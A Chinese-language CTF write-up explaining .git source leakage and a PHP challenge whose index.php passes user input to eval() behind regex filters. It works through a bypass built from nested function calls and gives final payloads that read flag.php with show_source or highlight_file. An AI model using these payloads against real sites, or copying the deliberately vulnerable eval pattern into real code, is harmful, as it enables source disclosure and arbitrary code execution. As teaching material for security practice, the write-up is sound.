这题用御剑扫描不出来什么结果,最后看大佬的wp发现这题使用githack扫出来的
首先来收一下git源码泄露的原因:
开发人员在开发的时候,常常会先把源码提交到远程托管网站(如github),最后在从远程托管网站把源码pull到服务器的web目录下,如果忘记把 .git
文件删除,就会造成此漏洞。利用 .git 文件恢复网站源码,而源码里可能会有数据库信息。
index.php的代码
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
第一个if语句
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp']))
不能出现data,filter,php等一些字母
第二个if语句
if(';' === preg_replace('/[a-z,_]+((?R)?)/', NULL, $GET['exp']))
将exp格式化处理,并检查结果是否为一个分号(该表达式会删除所有形如function_name()的函数调用,并返回剩下字符串)
[a-z,_]+
:匹配函数名,由字母或者下划线构成
\( 和 \)
:匹配括号
(?R)
:这是递归模式,允许正则表达式递归匹配嵌套的括号操作,也就是这个(/[a-z,]+((?R)?)/),所以会一直递归,?表示递归当前表达式0次或1次(若是(?R)*则表示递归当前表达式0次或多次,例如它可以匹配a(b(c()d())))
先来看当前目录下有什么文件
使用print_r(scandir('.'));
,但是注意到,如果使用点(.),最后就不会通过if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp']))
这个正则,应为它匹配的只是字母和下划线,如果有点就无法将他们转化成null,也就是最后的结果不会只剩下分号。
知识点:
localeconv()函数返回包含本地数字及货币格式信息的数组,而数组第一项就是点(.)
current()函数返回数组中当前单元,默认取第一个值
pos()函数返回数组中当前元素,也是默认取第一个值
所以我们可以构造:
print_r(scandir(current(localeconv())));或者print_r(scandir(pos(localeconv())));来表示print_r(scandir('.'));
最后也是得到了回显
现在的问题就是怎么取flag了,因为只能出现字母(函数调用的这种形式)
注意到,flag.php在倒数第二的位置,而next函数是返回数组中的第二个值,所以我们可以用array_reverse()函数将数组逆置,然后用next()将它取出来
使用?exp=print_r(next(array_reverse(scandir(pos(localeconv())))));
可以看到最后返回了flag.txt
最后用highlight_file()或者show_source()将flag返回就行了
最后的payload:
?exp=show_source(next(array_reverse(scandir(pos(localeconv())))));
或者?exp=highlight_file(next(array_reverse(scandir(pos(localeconv())))));